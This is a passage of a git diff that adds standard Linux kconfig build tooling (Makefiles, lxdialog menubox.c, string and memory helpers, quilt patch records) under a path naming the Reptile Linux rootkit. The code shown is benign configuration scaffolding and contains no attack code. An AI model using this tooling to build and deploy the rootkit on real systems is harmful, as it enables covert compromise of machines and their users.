strlen(gs->s) + strlen(s) + 1; + if (l > gs->len) { + gs->s = realloc(gs->s, l); + gs->len = l; + } + strcat(gs->s, s); + } +} + +/* Append printf formatted string to growable string */ +void str_printf(struct gstr *gs, const char *fmt, ...) +{ + va_list ap; + char s[10000]; /* big enough... */ + va_start(ap, fmt); + vsnprintf(s, sizeof(s), fmt, ap); + str_append(gs, s); + va_end(ap); +} + +/* Retrieve value of growable string */ +const char *str_get(struct gstr *gs) +{ + return gs->s; +} + +void *xmalloc(size_t size) +{ + void *p = malloc(size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + +void *xcalloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile new file mode 100644 index 0000000..844bc9d --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile @@ -0,0 +1,322 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(srctree)/$(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + $(Q)$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(srctree)/$(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +quiet_cmd_moc = MOC $@ + cmd_moc = $(KC_QT_MOC) -i $< -o $@ + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(call cmd,moc) + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c new file mode 100644 index 0000000..c93de0b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c @@ -0,0 +1,437 @@ +/* + * menubox.c -- implements the menu box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcapw@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +/* + * Changes by Clifford Wolf (god@clifford.at) + * + * [ 1998-06-13 ] + * + * *) A bugfix for the Page-Down problem + * + * *) Formerly when I used Page Down and Page Up, the cursor would be set + * to the first position in the menu box. Now lxdialog is a bit + * smarter and works more like other menu systems (just have a look at + * it). + * + * *) Formerly if I selected something my scrolling would be broken because + * lxdialog is re-invoked by the Menuconfig shell script, can't + * remember the last scrolling position, and just sets it so that the + * cursor is at the bottom of the box. Now it writes the temporary file + * lxdialog.scrltmp which contains this information. The file is + * deleted by lxdialog if the user leaves a submenu or enters a new + * one, but it would be nice if Menuconfig could make another "rm -f" + * just to be sure. Just try it out - you will recognise a difference! + * + * [ 1998-06-14 ] + * + * *) Now lxdialog is crash-safe against broken "lxdialog.scrltmp" files + * and menus change their size on the fly. + * + * *) If for some reason the last scrolling position is not saved by + * lxdialog, it sets the scrolling so that the selected item is in the + * middle of the menu box, not at the bottom. + * + * 02 January 1999, Michael Elizabeth Chastain (mec@shout.net) + * Reset 'scroll' to 0 if the value from lxdialog.scrltmp is bogus. + * This fixes a bug in Menuconfig where using ' ' to descend into menus + * would leave mis-synchronized lxdialog.scrltmp files lying around, + * fscanf would read in 'scroll', and eventually that value would get used. + */ + +#include "dialog.h" + +static int menu_width, item_x; + +/* + * Print menu item + */ +static void do_print_item(WINDOW * win, const char *item, int line_y, + int selected, int hotkey) +{ + int j; + char *menu_item = malloc(menu_width + 1); + + strncpy(menu_item, item, menu_width - item_x); + menu_item[menu_width - item_x] = '\0'; + j = first_alpha(menu_item, "YyNnMmHh"); + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, line_y, 0); +#if OLD_NCURSES + { + int i; + for (i = 0; i < menu_width; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + mvwaddstr(win, line_y, item_x, menu_item); + if (hotkey) { + wattrset(win, selected ? dlg.tag_key_selected.atr + : dlg.tag_key.atr); + mvwaddch(win, line_y, item_x + j, menu_item[j]); + } + if (selected) { + wmove(win, line_y, item_x + 1); + } + free(menu_item); + wrefresh(win); +} + +#define print_item(index, choice, selected) \ +do { \ + item_set(index); \ + do_print_item(menu, item_str(), choice, selected, !item_is_tag(':')); \ +} while (0) + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int item_no, int scroll, int y, int x, + int height) +{ + int cur_y, cur_x; + + getyx(win, cur_y, cur_x); + + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + wrefresh(win); + + if ((height < item_no) && (scroll + height < item_no)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + wmove(win, cur_y, cur_x); + wrefresh(win); +} + +/* + * Display the termination buttons. + */ +static void print_buttons(WINDOW * win, int height, int width, int selected) +{ + int x = width / 2 - 28; + int y = height - 2; + + print_button(win, gettext("Select"), y, x, selected == 0); + print_button(win, gettext(" Exit "), y, x + 12, selected == 1); + print_button(win, gettext(" Help "), y, x + 24, selected == 2); + print_button(win, gettext(" Save "), y, x + 36, selected == 3); + print_button(win, gettext(" Load "), y, x + 48, selected == 4); + + wmove(win, y, x + 1 + 12 * selected); + wrefresh(win); +} + +/* scroll up n lines (n may be negative) */ +static void do_scroll(WINDOW *win, int *scroll, int n) +{ + /* Scroll menu up */ + scrollok(win, TRUE); + wscrl(win, n); + scrollok(win, FALSE); + *scroll = *scroll + n; + wrefresh(win); +} + +/* + * Display a menu for choosing among a number of options + */ +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll) +{ + int i, j, x, y, box_x, box_y; + int height, width, menu_height; + int key = 0, button = 0, scroll = 0, choice = 0; + int first_item = 0, max_choice; + WINDOW *dialog, *menu; + +do_resize: + height = getmaxy(stdscr); + width = getmaxx(stdscr); + if (height < MENUBOX_HEIGTH_MIN || width < MENUBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + + height -= 4; + width -= 5; + menu_height = height - 10; + + max_choice = MIN(menu_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + menu_width = width - 6; + box_y = height - menu_height - 5; + box_x = (width - menu_width) / 2 - 1; + + /* create new window for the menu */ + menu = subwin(dialog, menu_height, menu_width, + y + box_y + 1, x + box_x + 1); + keypad(menu, TRUE); + + /* draw a box around the menu items */ + draw_box(dialog, box_y, box_x, menu_height + 2, menu_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + if (menu_width >= 80) + item_x = (menu_width - 70) / 2; + else + item_x = 4; + + /* Set choice to default item */ + item_foreach() + if (selected && (selected == item_data())) + choice = item_n(); + /* get the saved scroll info */ + scroll = *s_scroll; + if ((scroll <= choice) && (scroll + max_choice > choice) && + (scroll >= 0) && (scroll + max_choice <= item_count())) { + first_item = scroll; + choice = choice - scroll; + } else { + scroll = 0; + } + if ((choice >= max_choice)) { + if (choice >= item_count() - max_choice / 2) + scroll = first_item = item_count() - max_choice; + else + scroll = first_item = choice - max_choice / 2; + choice = choice - scroll; + } + + /* Print the menu */ + for (i = 0; i < max_choice; i++) { + print_item(first_item + i, i, i == choice); + } + + wnoutrefresh(menu); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + print_buttons(dialog, height, width, 0); + wmove(menu, choice, item_x + 1); + wrefresh(menu); + + while (key != KEY_ESC) { + key = wgetch(menu); + + if (key < 256 && isalpha(key)) + key = tolower(key); + + if (strchr("ynmh", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + if (i == max_choice) + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + } + + if (item_count() != 0 && + (i < max_choice || + key == KEY_UP || key == KEY_DOWN || + key == '-' || key == '+' || + key == KEY_PPAGE || key == KEY_NPAGE)) { + /* Remove highligt of current item */ + print_item(scroll + choice, choice, FALSE); + + if (key == KEY_UP || key == '-') { + if (choice < 2 && scroll) { + /* Scroll menu down */ + do_scroll(menu, &scroll, -1); + + print_item(scroll, 0, FALSE); + } else + choice = MAX(choice - 1, 0); + + } else if (key == KEY_DOWN || key == '+') { + print_item(scroll+choice, choice, FALSE); + + if ((choice > max_choice - 3) && + (scroll + max_choice < item_count())) { + /* Scroll menu up */ + do_scroll(menu, &scroll, 1); + + print_item(scroll+max_choice - 1, + max_choice - 1, FALSE); + } else + choice = MIN(choice + 1, max_choice - 1); + + } else if (key == KEY_PPAGE) { + scrollok(menu, TRUE); + for (i = 0; (i < max_choice); i++) { + if (scroll > 0) { + do_scroll(menu, &scroll, -1); + print_item(scroll, 0, FALSE); + } else { + if (choice > 0) + choice--; + } + } + + } else if (key == KEY_NPAGE) { + for (i = 0; (i < max_choice); i++) { + if (scroll + max_choice < item_count()) { + do_scroll(menu, &scroll, 1); + print_item(scroll+max_choice-1, + max_choice - 1, FALSE); + } else { + if (choice + 1 < max_choice) + choice++; + } + } + } else + choice = i; + + print_item(scroll + choice, choice, TRUE); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + wnoutrefresh(dialog); + wrefresh(menu); + + continue; /* wait for another key press */ + } + + switch (key) { + case KEY_LEFT: + case TAB: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 4 : (button > 4 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(menu); + break; + case ' ': + case 's': + case 'y': + case 'n': + case 'm': + case '/': + case 'h': + case '?': + case 'z': + case '\n': + /* save scroll info */ + *s_scroll = scroll; + delwin(menu); + delwin(dialog); + item_set(scroll + choice); + item_set_selected(1); + switch (key) { + case 'h': + case '?': + return 2; + case 's': + case 'y': + return 5; + case 'n': + return 6; + case 'm': + return 7; + case ' ': + return 8; + case '/': + return 9; + case 'z': + return 10; + case '\n': + return button; + } + return 0; + case 'e': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(menu); + break; + case KEY_RESIZE: + on_key_resize(); + delwin(menu); + delwin(dialog); + goto do_resize; + } + } + delwin(menu); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches new file mode 100644 index 0000000..de0a289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches @@ -0,0 +1,9 @@ +01-kconfig-kernel-to-buildroot.patch +10-br-build-system.patch +11-use-mktemp-for-lxdialog.patch +12-fix-glade-file-path.patch +14-support-out-of-tree-config.patch +15-fix-qconf-moc-rule.patch +16-fix-space-to-de-select-options.patch +100-kconfig-generic-env.patch +101-kconfig-build.patch diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile b/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile new file mode 100644 index 0000000..670da09 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile @@ -0,0 +1,60 @@ +# +# Default stand alone makefile for kconfig. +# +# The Makefile and Makefile.br in this directory should +# not be called directly for standalone build. +# Actually they are included by this makefile. +# + +## +# Makefile parameters. +# +# The parameters are configured as for kernel build +# by default. Override them for your application +# setting. +# + +# TOP srcdir and this srcdir (relative to TOPDIR) +TOPDIR=. +SRCDIR=. + +# O: output directory (objs/exes), default to src dir +O=$(TOPDIR)/$(SRCDIR) + +# Build configuration +KBUILD_KCONFIG=Kconfig +KBUILD_CONFIG_DIR=configs +KBUILD_DEFCONFIG=defconfig + +# Product information (exported) +export PRODUCT_ENV=KCONFIG +export PRODUCT=Kernel +export PRODUCT_VERSION= +export PRODUCT_DOMAIN=kernel.org + +# Kconfig configuration (exported) +export $(PRODUCT_ENV)_CONFIG=.config + + +# End of Makefile parameters. +## + +## +# Makefile adaptation/inclusion. + +# Buid vars +HOSTCC=$(CC) +HOSTCXX=$(CXX) +HOSTCFLAGS=-O2 -g +HOSTCXXFLAGS=-O2 -g +srctree=$(TOPDIR) +src=$(TOPDIR)/$(SRCDIR) +obj=$(O) + +# Enable execution from Makefile *conf programs +export PATH:=$(PATH):$(obj) + +include $(TOPDIR)/$(SRCDIR)/Makefile.br + +# End of Makefile adaptation/inclusion. +## diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile new file mode 100644 index 0000000..9623ab2 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile @@ -0,0 +1,324 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +ifndef KBUILD_CONFIG_DIR +KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a 